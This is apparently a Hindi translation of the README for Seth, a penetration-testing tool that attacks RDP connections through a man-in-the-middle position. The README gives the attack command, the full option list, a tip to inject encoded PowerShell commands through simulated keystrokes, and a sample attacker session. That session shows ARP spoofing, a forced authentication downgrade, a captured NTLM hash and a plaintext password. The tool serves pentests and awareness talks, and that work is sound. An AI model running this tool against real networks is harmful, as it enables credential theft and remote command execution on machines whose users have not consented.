
MitM हमला करें और RDP कनेक्शनों से सादा पाठ क्रेडेंशियल्स निकालें।
Seth एक उपकरण है जो Python और Bash में लिखा गया है, जो MitM RDP कनेक्शनों को डाउनग्रेड करके स्पष्ट टेक्स्ट क्रेडेंशियल्स निकालने का प्रयास करता है। इसे पेंटेस्ट, कार्यशालाओं या वार्ताओं के संदर्भ में उचित रूप से कॉन्फ़िगर किए गए RDP कनेक्शनों के महत्व के बारे में जागरूकता बढ़ाने और शिक्षित करने के लिए विकसित किया गया था। लेखक Adrian Vollmer (SySS GmbH) हैं।
इसे इस प्रकार चलाएँ:
$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]
जब तक RDP होस्ट पीड़ित मशीन के समान सबनेट पर न हो, अंतिम IP पता गेटवे का होना चाहिए।
अंतिम पैरामीटर वैकल्पिक है। इसमें एक कमांड हो सकता है जो WIN+R को कुंजी प्रेस इवेंट इंजेक्शन के माध्यम से सिम्युलेट करके RDP होस्ट पर निष्पादित किया जाता है। कीस्ट्रोक इंजेक्शन इस बात पर निर्भर करता है कि पीड़ित कौन सा कीबोर्ड लेआउट उपयोग कर रहा है - वर्तमान में यह केवल अंग्रेजी US लेआउट के साथ विश्वसनीय है। मैं powershell -enc <STRING> का उपयोग करके विशेष वर्णों से बचने का सुझाव देता हूँ, जहाँ STRING आपका UTF-16le और Base64 एन्कोडेड कमांड है। हालाँकि, calc काफी सार्वभौमिक है और काम कर जाता है।
शेल स्क्रिप्ट ARP स्पूफिंग करके Man-in-the-Middle स्थिति प्राप्त करती है और ट्रैफ़िक को इस प्रकार रीडायरेक्ट करती है कि वह RDP प्रॉक्सी के माध्यम से चले। प्रॉक्सी को अलग से भी कॉल किया जा सकता है। यह उपयोगी हो सकता है यदि आप Seth का उपयोग Responder के साथ संयोजन में करना चाहते हैं। Man-in-the-Middle स्थिति प्राप्त करने के लिए Responder का उपयोग करें और उसी समय Seth चलाएँ। अधिक जानकारी के लिए seth.py -h चलाएँ:
usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
[-j INJECT] -c CERTFILE -k KEYFILE
target_host [target_port]
RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017
positional arguments:
target_host target host of the RDP service
target_port TCP port of the target RDP service (default 3389)
optional arguments:
-h, --help show this help message and exit
-d, --debug show debug information
-f, --fake-server perform a 'fake server' attack
-p LISTEN_PORT, --listen-port LISTEN_PORT
TCP port to listen on (default 3389)
-b BIND_IP, --bind-ip BIND_IP
IP address to bind the fake service to (default all)
-g {0,1,3,11}, --downgrade {0,1,3,11}
downgrade the authentication protocol to this (default
3)
-j INJECT, --inject INJECT
command to execute via key press event injection
-c CERTFILE, --certfile CERTFILE
path to the certificate file
-k KEYFILE, --keyfile KEYFILE
path to the key file
अधिक जानकारी के लिए doc/paper में PDF पढ़ें (या कोड पढ़ें!)। पेपर में प्रतिकार उपायों के लिए सिफारिशें भी शामिल हैं।
आप YouTube पर बीस मिनट की प्रस्तुति (डेमो सहित, जो 14:00 से शुरू होती है) भी देख सकते हैं: https://www.youtube.com/watch?v=wdPkY7gykf4
या केवल डेमो (उपशीर्षक के साथ) यहाँ देखें: https://www.youtube.com/watch?v=JvvxTNrKV-s
निम्नलिखित आउटपुट हमलावर का दृश्य दिखाता है। Seth एक ऑफ़लाइन क्रैकेबल हैश के साथ-साथ स्पष्ट टेक्स्ट पासवर्ड भी सूंघता है। यहाँ, NLA लागू नहीं है और पीड़ित ने प्रमाणपत्र चेतावनी को अनदेखा किया।

# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗ ██╗
██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
███████╗█████╗ ██║ ███████║ [email protected]
╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
███████║███████╗ ██║ ██║ ██║ https://www.syss.de
╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press: LShift
Key press: S
Key release: S
Key release: LShift
Key press: E
Key release: E
Key press: C
Key release: C
Key press: R
Key release: R
Key press: E
Key release: E
Key press: T
Key release: T
Connection lost
[*] Cleaning up...
[*] Done.
python3
tcpdump
arpspoof
arpspoof, dsniff का हिस्सा है
openssl
अपने जोखिम पर उपयोग करें। सभी शामिल लोगों की पूर्ण सहमति के बिना उपयोग न करें। केवल शैक्षिक उद्देश्यों के लिए।